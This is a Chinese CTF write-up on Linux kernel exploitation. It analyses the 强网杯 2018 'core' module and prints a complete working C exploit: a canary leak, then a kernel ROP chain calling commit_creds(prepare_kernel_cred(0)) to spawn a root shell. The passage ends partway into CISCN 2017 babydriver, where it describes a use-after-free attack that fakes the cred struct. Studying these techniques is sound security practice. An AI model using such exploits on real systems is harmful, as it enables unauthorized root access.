强网杯 2018 - core

Kernel ROP

内核态的 ROP 与用户态的 ROP 一般无二,只不过利用的 gadget 变成了内核中的 gadget,所需要构造执行的 ropchain 由 system("/bin/sh") 变为了 commit_creds(&init_cred)commit_creds(prepare_kernel_cred(NULL)),当我们成功地在内核中执行这样的代码后,当前线程的 cred 结构体便变为 init 进程的 cred 的拷贝,我们也就获得了 root 权限,此时在用户态起一个 shell 便能获得 root shell。

状态保存

通常情况下,我们的 exploit 需要进入到内核当中完成提权,而我们最终仍然需要着陆回用户态以获得一个 root 权限的 shell,因此在我们的 exploit 进入内核态之前我们需要手动模拟用户态进入内核态的准备工作——保存各寄存器的值到内核栈上,以便于后续着陆回用户态。

通常情况下使用如下函数保存各寄存器值到我们自己定义的变量中,以便于构造 rop 链:

算是一个通用的 pwn 板子。

方便起见,使用了内联汇编,编译时需要指定参数:-masm=intel

1
2
3
4
5
6
7
8
9
10
11
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

返回用户态

由内核态返回用户态只需要:

  • swapgs指令恢复用户态 GS 寄存器
  • sysretq或者iretq恢复到用户空间

那么我们只需要在内核中找到相应的 gadget 并执行swapgs;iretq就可以成功着陆回用户态。

通常来说,我们应当构造如下 rop 链以返回用户态并获得一个 shell:

1
2
3
4
5
6
7
↓   swapgs
iretq
user_shell_addr
user_cs
user_eflags //64bit user_rflags
user_sp
user_ss

swapgs

交换内核态与用户态的gs寄存器

iretq&&sysretq

这两个指令都是用于返回用户态

其中iretq等效

1
2
3
4
5
pop rip
pop cs
pop rflags
pop rsp
pop ss

sysretq则等效

1
pop rip

文件分析

首先文件解压出来提供了四个文件,bzImage,core.cpio,start.sh和vmlinux

其中bzImage是压缩后的内核镜像,去除了大多数的调试符号

core.cpio是提供给内核的文件系统

start.sh是启动内核的脚本

vmlinux则是未经过压缩的静态链接的内核镜像,其中具有更多的调试符号,更利于调试,如果没有这个文件可以利用linus提供的extract-vmlinux脚本从bzImage中分离出来

观察以下start.sh启动脚本

1
2
3
4
5
6
7
8
9
10
     │ File: ./start.sh
───────┼────────────────────────────────────────────────────────────────────────────
1 │ qemu-system-x86_64 \
2 │ -m 256M \
3 │ -kernel ./bzImage \#指定内核镜像
4 │ -initrd ./core.cpio \#指定初始的根文件系统
5 │ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
6 │ -s \#开启调试
7 │ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
8 │ -nographic \#不使用图形化界面

-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr"

  • quiet: 禁用一些冗长的启动消息,以使启动过程更为静默。
  • kaslr: 表示启用内核地址空间随机化

解压core.cpio后看一下其中的init文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
───────┬─────────────────────────────────────────────────────────────────────────────────
│ File: init
───────┼─────────────────────────────────────────────────────────────────────────────────
1 │ #!/bin/sh
2 │ mount -t proc proc /proc
3 │ mount -t sysfs sysfs /sys
4 │ mount -t devtmpfs none /dev
5 │ /sbin/mdev -s
6 │ mkdir -p /dev/pts
7 │ mount -vt devpts -o gid=4,mode=620 none /dev/pts
8 │ chmod 666 /dev/ptmx
9 │ cat /proc/kallsyms > /tmp/kallsyms
10 │ echo 1 > /proc/sys/kernel/kptr_restrict
11 │ echo 1 > /proc/sys/kernel/dmesg_restrict
12 │ ifconfig eth0 up
13 │ udhcpc -i eth0
14 │ ifconfig eth0 10.0.2.15 netmask 255.255.255.0
15 │ route add default gw 10.0.2.2
16 │ insmod /core.ko
17 │
18 │ #poweroff -d 120 -f &
19 │ setsid /bin/cttyhack setuidgid 1000 /bin/sh
20 │ echo 'sh end!\n'
21 │ umount /proc
22 │ umount /sys
23 │
24 │ #poweroff -d 0 -f
  • mount命令用于挂载文件系统

    • -t选项指定挂载文件系统类型
    • -o挂载选项

    例如mount -vt devpts -o gid=4,mode=620 none /dev/pts,将devpts文件系统挂载到/dev/pts目录,使用none作为源设备,即不需要源设备文件,挂载的目录的属性为组别4,权限是620

  • /sbin/mdev是一个轻量级的设备管理工具,通常用于嵌入式 Linux 系统中,用于在系统启动时自动创建和管理设备节点。

    • -s ,用于启用 mdev 的守护进程(daemon)模式

    当运行 /sbin/mdev -s 时,mdev 将以守护进程的形式运行,并在后台监听设备的变化。

  • ifconfig eth0 up 是一个 Linux 命令,用于启用(激活)网络接口

  • umountmount相反,卸载挂载的文件系统

  • setuidgid 是一个busybox提供的一个工具,用于以指定的用户ID启动程序。

  • setsid是一个 Unix/Linux 命令,用于启动一个新的会话。这个命令将当前进程设置为新会话的领头进程(session leader)。通常,setsid 用于创建一个与父进程和之前的会话完全脱离的新会话,这对于将进程变成守护进程很有用,因为它与原始终端会话无关。

    setsid /bin/cttyhack setuidgid 1000 /bin/sh作用是创建一个新的会话,执行 /bin/cttyhack 工具,然后以用户 ID 1000 的身份启动 /bin/sh shell

  • insomod的作用是加载驱动模块,加载后的驱动模块会出现在/sys/module/

init中比较重要的几点是

  • 第 9 行中把 kallsyms 的内容保存到了 /tmp/kallsyms 中,那么我们就能从 /tmp/kallsyms 中读取 commit_credsprepare_kernel_cred 的函数的地址了
  • 第 10 行把 kptr_restrict 设为 1,这样就不能通过 /proc/kallsyms 查看函数地址了,但第 9 行已经把其中的信息保存到了一个可读的文件中,这句就无关紧要了
  • 第 11 行把 dmesg_restrict 设为 1,这样就不能通过 dmesg 查看 kernel 的信息了

模块分析

检查一下

1
2
3
4
5
6
[*] '/home/aichch/pwn/core/core/core.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)

存在canary,ida进一步静态分析

存在七个主要函数

1
2
3
4
5
6
7
core_release	.text	0000000000000000	00000011	00000000
core_write .text 0000000000000011 00000052 00000010
core_read .text 0000000000000063 00000093 00000050
core_copy_func .text 00000000000000F6 00000069 00000050
core_ioctl .text 000000000000015F 0000005A 00000008
init_module .init.text 00000000000001B9 00000032 00000000
exit_core .exit.text 00000000000001EB 00000019 00000000

init_module() 注册了 /proc/core

1
2
3
4
5
6
__int64 init_module()
{
core_proc = proc_create("core", 438LL, 0LL, &core_fops);
printk("\x016core: created /proc/core entry\n");
return 0LL;
}

exit_core() 删除 /proc/core

1
2
3
4
5
6
7
8
__int64 exit_core()
{
__int64 result; // rax

if ( core_proc )
result = remove_proc_entry("core");
return result;
}

core_ioctl() 定义了三条命令,分别调用 core_read()core_copy_func() 和设置全局变量 off

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
switch ( a2 )
{
case 1719109787:
core_read(a3);
break;
case 1719109788:
printk(&unk_2CD);
off = a3;
break;
case 1719109786:
printk(&unk_2B3);
core_copy_func(a3);
break;
}
return 0LL;
}

core_read()v4[off] 拷贝 64 个字节到用户空间,但要注意的是全局变量 off 使我们能够控制的,因此可以合理的控制 off 来 leak canary 和一些地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void __fastcall core_read(__int64 a1)
{
__int64 v1; // rbx
char *v2; // rdi
signed __int64 i; // rcx
char v4[64]; // [rsp+0h] [rbp-50h]
unsigned __int64 v5; // [rsp+40h] [rbp-10h]

v1 = a1;
v5 = __readgsqword(0x28u);
printk("\x016core: called core_read\n");
printk("\x016%d %p\n");
v2 = v4;
for ( i = 16LL; i; --i )
{
*(_DWORD *)v2 = 0;
v2 += 4;
}
strcpy(v4, "Welcome to the QWB CTF challenge.\n");
if ( copy_to_user(v1, &v4[off], 64LL) )
__asm { swapgs }
}

core_copy_func() 从全局变量 name 中拷贝数据到局部变量中,长度是由我们指定的,当要注意的是 qmemcpy 用的是 unsigned __int16,但传递的长度是 signed __int64,因此如果控制传入的长度为 0xffffffffffff0000|(0x100) 等值,就可以栈溢出了

1
2
3
4
5
6
7
8
9
10
11
12
void __fastcall core_copy_func(signed __int64 a1)
{
char v1[64]; // [rsp+0h] [rbp-50h]
unsigned __int64 v2; // [rsp+40h] [rbp-10h]

v2 = __readgsqword(0x28u);
printk("\x016core: called core_writen");
if ( a1 > 63 )
printk("\x016Detect Overflow");
else
qmemcpy(v1, name, (unsigned __int16)a1); // overflow
}

core_write() 向全局变量 name 上写,这样通过 core_write()core_copy_func() 就可以控制 ropchain 了

1
2
3
4
5
6
7
8
9
10
11
signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
unsigned __int64 v3; // rbx

v3 = a3;
printk("\x016core: called core_writen");
if ( v3 <= 0x800 && !copy_from_user(name, a2, v3) )
return (unsigned int)v3;
printk("\x016core: error copying data from userspacen");
return 0xFFFFFFF2LL;
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
QWB2018_core [master●●] cat exploit.c 
// gcc exploit.c -static -masm=intel -g -o exploit
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

void spawn_shell()
{
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[*]spawn shell error!");
}
exit(0);
}

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
/*
* give_to_player [master●●] check ./core.ko
./core.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=549436d
[*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/core.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)
*/
size_t vmlinux_base = 0;
size_t find_symbols()
{
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */

if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}

char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred)
return 0;

if(strstr(buf, "commit_creds") && !commit_creds)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
/* printf("hex: %s\n", hex); */
sscanf(hex, "%llx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
/*
* give_to_player [master●●] bpython
bpython version 0.17.1 on top of Python 2.7.15 /usr/bin/n
>>> from pwn import *
>>> vmlinux = ELF("./vmlinux")
[*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/vmli'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0xffffffff81000000)
RWX: Has RWX segments
>>> hex(vmlinux.sym['commit_creds'] - 0xffffffff81000000)
'0x9c8e0'
*/
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %p\n", vmlinux_base);
}

if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
/* printf("vmlinux_base addr: %p\n", vmlinux_base); */
}
}

if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
exit(0);
}

}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

void set_off(int fd, long long idx)
{
printf("[*]set off to %ld\n", idx);
ioctl(fd, 0x6677889C, idx);
}

void core_read(int fd, char *buf)
{
puts("[*]read to buf.");
ioctl(fd, 0x6677889B, buf);

}

void core_copy_func(int fd, long long size)
{
printf("[*]copy from user with size: %ld\n", size);
ioctl(fd, 0x6677889A, size);
}

int main()
{
save_status();
int fd = open("/proc/core", 2);
if(fd < 0)
{
puts("[*]open /proc/core error!");
exit(0);
}

find_symbols();
// gadget = raw_gadget - raw_vmlinux_base + vmlinux_base;
ssize_t offset = vmlinux_base - raw_vmlinux_base;

set_off(fd, 0x40);

char buf[0x40] = {0};
core_read(fd, buf);
size_t canary = ((size_t *)buf)[0];
printf("[+]canary: %p\n", canary);

size_t rop[0x1000] = {0};

int i;
for(i = 0; i < 10; i++)
{
rop[i] = canary;
}
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)

rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;

rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;

rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;

rop[i++] = (size_t)spawn_shell; // rip

rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

write(fd, rop, 0x800);
core_copy_func(fd, 0xffffffffffff0000 | (0x100));

return 0;
}

延拓1

在这道例题中可以看到模块在初始化函数中主要是调用proc_create函数

要了解这个函数首先先了解一下/proc文件系统

/proc

在许多类 Unix计算机系统中,procfs 是 进程文件系统(process file system) 的缩写,包含一个伪文件系统(启动时动态生成的文件系统),用于通过内核访问进程信息。这个文件系统通常被挂载到 /proc 目录。由于 /proc 不是一个真正的文件系统,它也就不占用存储空间,只是占用有限的内存。

创建一个 proc 虚拟文件,应用层通过读写该文件,即可实现与内核的交互。

Linux中每个正在运行的进程对应于/proc下的一个目录,目录名就是进程的PID,每个目录包含:

  • /proc/PID/cmdline, 启动该进程的命令行.
  • /proc/PID/cwd, 当前工作目录的符号链接
  • /proc/PID/environ 影响进程的环境变量的名字和值.
  • /proc/PID/exe, 最初的可执行文件的符号链接, 如果它还存在的话。
  • /proc/PID/fd, 一个目录,包含每个打开的文件描述符的符号链接.
  • /proc/PID/fdinfo, 一个目录,包含每个打开的文件描述符的位置和标记
  • /proc/PID/maps, 一个文本文件包含内存映射文件与块的信息。
  • /proc/PID/mem, 一个二进制图像(image)表示进程的虚拟内存, 只能通过ptrace化进程访问.
  • /proc/PID/root, 该进程所能看到的根路径的符号链接。如果没有chroot监狱,那么进程的根路径是/.
  • /proc/PID/status包含了进程的基本信息,包括运行状态、内存使用。
  • /proc/PID/task, 一个目录包含了硬链接到该进程启动的任何任务

用户可以获得PID使用工具如pgrep, pidof或ps:

伪文件系统

上面提到的伪文件系统又是什么,和普通文件系统有什么不同

  1. 实现方式:
    • 普通文件系统:通常是针对块设备(硬盘、分区等)或其他存储介质的实际文件系统,例如 ext4、FAT32、NTFS 等。这些文件系统实现了对物理存储介质的管理,包括文件的组织、存储、检索等操作。
    • 伪文件系统:是在内存中实现的,不涉及对物理存储介质的直接访问。它提供了一种访问内核状态和信息的机制,通过在文件系统层次结构中创建伪文件,用户和进程可以通过文件 I/O 接口来访问和修改内核的状态。
  2. 目的:
    • 普通文件系统:主要用于存储和管理用户数据,提供了对数据的持久性存储和检索支持。这些文件系统通常关注于数据的长期保存和管理。
    • 伪文件系统:用于提供一种用户空间和内核空间之间的通信机制。通过伪文件系统,用户可以访问内核中的信息,例如系统状态、进程信息、设备信息等。这样的文件系统并非用于长期存储数据,而是用于提供一个接口来查询和配置内核状态。
  3. 位置:
    • 普通文件系统:存储在物理存储介质上,例如硬盘、SSD 等。
    • 伪文件系统:存储在内存中,通常在 /proc/sys 目录下,用于让用户和进程通过文件接口与内核进行通信。

经典的伪文件系统包括 /proc/sys

  • /proc 提供了对系统和进程信息的访问,例如 /proc/cpuinfo 可以查看 CPU 信息,/proc/meminfo 可以查看内存信息。
  • /sys 则提供了对内核和设备参数的访问,例如 /sys/class/gpio 可以用于控制 GPIO。

特别的伪文件系统只存在于内存中,不存在于硬盘中

proc_create

例题中使用了proc_create函数和remove_proc_entry

着重研究一下前者,毕竟后者想来是前者的逆操作

源码在内核/fs/proc/generic.c

1
2
3
4
5
6
7
struct proc_dir_entry *proc_create(const char *name, umode_t mode,
struct proc_dir_entry *parent,
const struct proc_ops *proc_ops)
{
return proc_create_data(name, mode, parent, proc_ops, NULL);
}
EXPORT_SYMBOL(proc_create);

四个参数分别是

  1. name,要创建的文件夹的名字
  2. mode,创建的文件夹的权限模式,八进制下的UGO模式
  3. parent,要创建节点的父节点,也就是要在哪个文件夹之下创建新文件夹,需要将那个文件夹的 proc_dir_entry 传入。如果直接在/proc/目录下则不需要
  4. proc_ops该文件的操作函数

其中还涉及到两个结构体proc_dir_entry和proc_ops

proc_ops是一个用于存放要注册的函数指针的结构体,之后对打开的设备文件调用对应函数便会指向这些函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
struct proc_ops {
unsigned int proc_flags;
int (*proc_open)(struct inode *, struct file *);
ssize_t (*proc_read)(struct file *, char __user *, size_t, loff_t *);
ssize_t (*proc_read_iter)(struct kiocb *, struct iov_iter *);
ssize_t (*proc_write)(struct file *, const char __user *, size_t, loff_t *);
/* mandatory unless nonseekable_open() or equivalent is used */
loff_t (*proc_lseek)(struct file *, loff_t, int);
int (*proc_release)(struct inode *, struct file *);
__poll_t (*proc_poll)(struct file *, struct poll_table_struct *);
long (*proc_ioctl)(struct file *, unsigned int, unsigned long);
#ifdef CONFIG_COMPAT
long (*proc_compat_ioctl)(struct file *, unsigned int, unsigned long);
#endif
int (*proc_mmap)(struct file *, struct vm_area_struct *);
unsigned long (*proc_get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
} __randomize_layout;

proc_dir_entry则是proc文件系统下目录的存储结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
struct proc_dir_entry {
/*
* number of callers into module in progress;
* negative -> it's going away RSN
*/
atomic_t in_use;
refcount_t refcnt;
struct list_head pde_openers; /* who did ->open, but not ->release */
/* protects ->pde_openers and all struct pde_opener instances */
spinlock_t pde_unload_lock;
struct completion *pde_unload_completion;
const struct inode_operations *proc_iops;
union {
const struct proc_ops *proc_ops;
const struct file_operations *proc_dir_ops;
};
const struct dentry_operations *proc_dops;
union {
const struct seq_operations *seq_ops;
int (*single_show)(struct seq_file *, void *);
};
proc_write_t write;
void *data;
unsigned int state_size;
unsigned int low_ino;
nlink_t nlink;
kuid_t uid;
kgid_t gid;
loff_t size;
struct proc_dir_entry *parent;
struct rb_root subdir;
struct rb_node subdir_node;
char *name;
umode_t mode;
u8 flags;
u8 namelen;
char inline_name[];
} __randomize_layout;

继续跟进proc_create_data函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct proc_dir_entry *proc_create_data(const char *name, umode_t mode,
struct proc_dir_entry *parent,
const struct proc_ops *proc_ops, void *data)
{
struct proc_dir_entry *p;

p = proc_create_reg(name, mode, &parent, data);
if (!p)
return NULL;
p->proc_ops = proc_ops;
pde_set_flags(p);
return proc_register(parent, p);
}
EXPORT_SYMBOL(proc_create_data);

其中proc_create_reg的主要功能是创建并返回一个proc_dir_entry结构体指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
struct proc_dir_entry *proc_create_reg(const char *name, umode_t mode,
struct proc_dir_entry **parent, void *data)
{
struct proc_dir_entry *p;

if ((mode & S_IFMT) == 0)
mode |= S_IFREG;
if ((mode & S_IALLUGO) == 0)
mode |= S_IRUGO;
if (WARN_ON_ONCE(!S_ISREG(mode)))
return NULL;

p = __proc_create(parent, name, mode, 1);
if (p) {
p->proc_iops = &proc_file_inode_operations;
p->data = data;
}
return p;
}

之后设置p->proc_ops = proc_ops;相当于完成注册函数

再返回函数proc_register进行注册

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/* returns the registered entry, or frees dp and returns NULL on failure */
struct proc_dir_entry *proc_register(struct proc_dir_entry *dir,
struct proc_dir_entry *dp)
{
if (proc_alloc_inum(&dp->low_ino))
goto out_free_entry;

write_lock(&proc_subdir_lock);
dp->parent = dir;
if (pde_subdir_insert(dir, dp) == false) {
WARN(1, "proc_dir_entry '%s/%s' already registered\n",
dir->name, dp->name);
write_unlock(&proc_subdir_lock);
goto out_free_inum;
}
dir->nlink++;
write_unlock(&proc_subdir_lock);

return dp;
out_free_inum:
proc_free_inum(dp->low_ino);
out_free_entry:
pde_free(dp);
return NULL;
}

更细的暂且不做分析

延拓2

​ Intel处理器实现了6个段寄存器,用来方便程序设计者对程序的代码、数据和栈进行分段和引用.

通常来说

  1. 代码段用cs寄存器来分段和引用
  2. 数据段用ds寄存器来分段和引用
  3. 栈段用ss寄存器来分段和引用
  4. 另外3个段寄存器es、fs和gs可以用来分段和引用额外的数据段。

​ 在程序执行代码段里的代码、或访问数据段中的数据之前,需要事先将合法的16位段选择符的值加载到适当的段寄存器中,否则无法执行代码或访问数据。因此,虽然一个程序可以有很多段,但是某一时刻最多可以同时使用的只有其中的6个。要引用其他段,就要先加载对应的段选择符到适当的段寄存器中。

​ 每个段寄存器都包含两个部分:对开发者可见的部分和不可见的隐藏部分。每当向一个段寄存器中加载段选择符的时候,处理器会自动将段选择符指向的段描述符中的基地址、限长和一些属性信息加载到段寄存器中的隐藏部分。

​ 如果系统软件对某个段描述符进行了修改,那么系统软件也有责任重新加载对应的段寄存器,以确保对段描述符所做的修改能够生效(尤其是隐藏部分)。如果系统软件不重载段寄存器,那么缓存在段寄存器中隐藏部分的旧信息还会被继续使用。但从另一个角度来讲,只要不重载段寄存器,段寄存器的隐藏部分的内容就不会发生变化,在进行处理器模式切换的时候,比如从实模式切换到保护模式时之所以能够顺利执行,也是得益于这一原理。

x86-64处理器模式下的段寄存器

​ Intel理解到了现代操作系统设计者的想法,于是在x86-64处理器模式中,在微架构层将分段单元中的绝大多数功能都绕开了(注意不是关闭了分段单元)。

​ 具体来说,在加载cs、ds、es和ss寄存器时,对应的段描述符中的基地址,限长和部分属性字段一概被忽略,并假设基地址总为0,限长总为2^64-1。同样在使用ds、es和ss段前缀的时候,也都做出同样的假设;同时,这些段寄存器中隐藏部分中与上述对应的字段也被忽略。因此x86-64处理器模式只支持平坦内存模型,即从0开始到2^48-1结束的规范化的虚拟地址空间,这是x86-64处理器模式中所做的硬性规定,因为这些规定可以进一步加快逻辑地址到虚拟地址的转换效率。

x86-64处理器模式下的fs/gs段寄存器

​ 虽说分段单元在x86-64处理器模式中绝大多数的情况下都被绕过了,但少数情况下不会绕过,就比如fs和gs段寄存器

​ 但是64位处理器模式下的分段单元的微架构逻辑还是有些新的“猫腻”,具体做法是:获取fs和gs寄存器中隐藏部分的x86-64基地址(后文简写为fs.base和gs.base)的方式不再是通过fs和gs寄存器所指向的GDT/IDT中的段描述符来指定,而是在物理上就将fs和gs寄存器中隐藏部分中的64位基地址直接在物理上映射到了IA32_FS_BASE MSR(复位值为0)和IA32_GS_BASE MSR(复位值为0)这两个MSR上(或者说IA32_FS_BASE MSR和IA32_GS_BASE MSR分别是fs.base和gs.base的别名)。系统软件可以事先对这两个MSR进行编程,以便软件能够用fs和gs寄存器对特殊的数据进行引用。

具体来说,现代Linux x86-64下的fs/gs段寄存器的用途分别为:

  • 用户态使用fs寄存器引用线程的glibc TLS和线程在用户态的stack canary;用户态的glibc不使用gs寄存器;应用可以自行决定是否使用该寄存器
  • 内核态使用gs寄存器引用percpu变量和进程在内核态的stack canary;内核态不使用fs寄存器。

模块地址获取

  • cat /proc/modules
  • cat /proc/devices
  • cat /proc/kallsyms
  • lsmod
  • dmesg

CISCN 2017 babydriver

文件分析

看一下boot.sh

1
2
3
4
5
6
7
   │ File: ../boot.sh
───────┼─────────────────────────────────────────────────────────────────────────────────
1 │ #!/bin/bash
2 │
3 │ qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev
│ /ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 256M --nographic -smp cores
│ =1,threads=1 -cpu kvm64,+smep

看到开启了smep保护

再看init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
       │ File: init
───────┼─────────────────────────────────────────────────────────────────────────────────
1 │ #!/bin/sh
2 │
3 │ mount -t proc none /proc
4 │ mount -t sysfs none /sys
5 │ mount -t devtmpfs devtmpfs /dev
6 │ chown root:root flag
7 │ chmod 400 flag
8 │ exec 0</dev/console
9 │ exec 1>/dev/console
10 │ exec 2>/dev/console
11 │
12 │ insmod /lib/modules/4.4.72/babydriver.ko
13 │ chmod 777 /dev/babydev
14 │ echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
15 │ setsid cttyhack setuidgid 1000 sh
16 │
17 │ umount /proc
18 │ umount /sys
19 │ poweroff -d 0 -f

其中insmod加载了babydriver.ko驱动

模块分析

checksec

1
2
3
4
5
6
[*] '/home/aichch/pwn/babydriver/babydriver.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x0)

几乎没有保护

根据fops结构体可以知道驱动提供的外部接口对应如下

  • open => babyopen
  • read => babyread
  • write => babywrite
  • ioctl => babyioctl
  • free => babyrelease

babyioctl: 定义了 0x10001 的命令,可以释放全局变量 babydev_struct 中的 device_buf,再根据用户传递的 size 重新申请一块内存,并设置 device_buf_len。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// local variable allocation has failed, the output may be wrong!
void __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
size_t v3; // rdx
size_t v4; // rbx
__int64 v5; // rdx

_fentry__(filp, *(_QWORD *)&command);
v4 = v3;
if ( command == 0x10001 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
babydev_struct.device_buf_len = v4;
printk("alloc done\n", 0x24000C0LL, v5);
}
else
{
printk("\x013defalut:arg is %ld\n", v3, v3);
}
}

babyopen: 申请一块空间,大小为 0x40 字节,地址存储在全局变量 babydev_struct.device_buf 上,并更新 babydev_struct.device_buf_len

1
2
3
4
5
6
7
8
9
10
int __fastcall babyopen(inode *inode, file *filp)
{
__int64 v2; // rdx

_fentry__(inode, filp);
babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 0x40LL);
babydev_struct.device_buf_len = 64LL;
printk("device open\n", 0x24000C0LL, v2);
return 0;
}

babyread: 先检查长度是否小于 babydev_struct.device_buf_len,然后把 babydev_struct.device_buf 中的数据拷贝到 buffer 中,buffer 和长度都是用户传递的参数

1
2
3
4
5
6
7
8
9
10
11
void __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx

_fentry__(filp, buffer);
if ( babydev_struct.device_buf )
{
if ( babydev_struct.device_buf_len > v4 )
copy_to_user(buffer, babydev_struct.device_buf, v4);
}
}

babywrite: 类似 babyread,不同的是从 buffer 拷贝到全局变量中

1
2
3
4
5
6
7
8
9
10
11
void __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx

_fentry__(filp, buffer);
if ( babydev_struct.device_buf )
{
if ( babydev_struct.device_buf_len > v4 )
copy_from_user(babydev_struct.device_buf, buffer, v4);
}
}

babyrelease: 释放空间,没什么好说的

1
2
3
4
5
6
7
8
9
int __fastcall babyrelease(inode *inode, file *filp)
{
__int64 v2; // rdx

_fentry__(inode, filp);
kfree(babydev_struct.device_buf);
printk("device release\n", filp, v2);
return 0;
}

细节问题

本题fops结构体,ida显示并未注册babyrelease函数,但真正做题的时候发现是注册了的

一开始很困惑,以为是什么特殊的机制,最后发现babyrelease的函数位置就是0

也就是说本来是注册了的,但是因为值刚好是0,ida看不出来,才显示未注册

并且更进一步可以得到,所有未注册的函数最终都默认注册babyrelease因为未注册就显示NULL,而babyrelease就是null(0)

不过也仅限这题了

解题

观察到babyrelease函数只是free,并没有置零且存储chunk的指针是全局变量

如果我们同时打开两个babydev设备文件

并将其中一个释放那么就可以uaf了,那如何利用这个uaf

思路1

此种方法在较新版本 kernel 中已不可行,我们已无法直接分配到 cred_jar 中的 object,这是因为 cred_jar 在创建时设置了 SLAB_ACCOUNT 标记,在 CONFIG_MEMCG_KMEM=y 时(默认开启)cred_jar 不会再与相同大小的 kmalloc-192 进行合并

但在本题版本可以分配到刚才释放的chunk

因此可以伪造cred结构体,修改权限

并fork一个程序

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/wait.h>
